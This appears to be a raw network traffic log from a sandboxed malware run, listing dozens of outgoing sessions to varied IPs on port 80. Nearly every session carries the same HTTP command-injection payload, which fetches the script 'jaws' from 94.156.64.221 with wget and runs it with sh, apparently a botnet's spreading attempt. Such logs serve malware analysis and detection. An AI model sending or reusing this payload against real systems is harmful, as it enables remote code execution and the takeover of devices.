Jun 1, 2024 18:15:55.266499043 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.23	38612	162.196.145.224	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266529083 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.23	55906	60.237.234.86	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266557932 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.23	50724	106.231.83.190	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266592026 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.23	39892	193.247.242.227	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266621113 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.23	56944	96.101.32.166	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266671896 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.23	50786	170.144.103.21	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266712904 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.23	36502	38.111.93.178	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266748905 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.23	37100	159.174.137.59	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266766071 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.23	51872	27.18.243.86	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266793966 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.23	55674	138.31.177.46	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266817093 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:55.512317896 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:55.960428953 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:56.824140072 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:58.551892042 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.23	38112	71.91.49.115	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266849995 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.23	43296	181.7.89.239	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266912937 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.23	60962	48.6.53.216	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266937971 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.23	42318	101.102.189.161	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266961098 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.23	45778	51.178.217.185	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266992092 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.23	57650	107.137.173.67	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267014980 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.23	55082	49.30.76.125	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267045975 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.23	37184	168.201.130.187	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267076015 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.23	48974	151.12.11.94	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267158985 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.23	41196	54.66.237.186	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267199993 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.23	40240	83.131.30.5	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267232895 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.23	57372	185.200.90.77	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267260075 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.23	36068	43.160.124.104	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267288923 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.23	49916	104.145.249.34	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267324924 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.23	42234	25.142.89.27	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267350912 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.23	40128	149.50.188.155	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267379999 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.23	51734	13.140.185.178	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267405987 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:55.512356043 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:55.960427999 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:56.824139118 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:58.551898003 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.23	56660	208.88.36.60	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267431974 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.23	51868	134.253.46.5	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267467022 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.23	42554	32.79.28.244	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267488956 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.23	52308	82.183.211.22	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267519951 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:55.512352943 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:55.960437059 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:56.824136972 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:58.551892042 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.23	35132	80.169.53.160	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267550945 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.23	49982	179.119.22.120	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267599106 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.23	48436	119.233.198.220	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267641068 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.23	59680	117.50.6.59	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267679930 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.23	35598	203.183.146.124	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267704964 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.23	60162	157.59.40.252	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267730951 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.23	53386	97.94.234.176	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267759085 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.23	48642	211.236.21.25	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267784119 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.23	55206	159.155.85.246	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267822027 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.23	48376	156.11.139.204	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267862082 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.23	56332	116.245.119.93	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267894030 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.23	55788	112.160.11.208	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267923117 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.23	60874	50.45.43.167	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267968893 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.23	49096	59.33.69.191	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.267997980 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.23	49550	19.122.215.223	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268034935 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.23	45848	148.228.134.26	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268095970 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.23	46120	59.74.146.97	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268136024 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.23	37028	179.146.88.219	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268162966 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.23	40682	120.172.16.124	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268202066 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.23	50984	191.125.210.105	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268249035 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.23	53164	52.152.172.237	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268271923 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.23	39704	41.182.33.58	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268307924 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.23	38108	57.95.108.136	80

Timestamp	Bytes transferred	Direction	Data
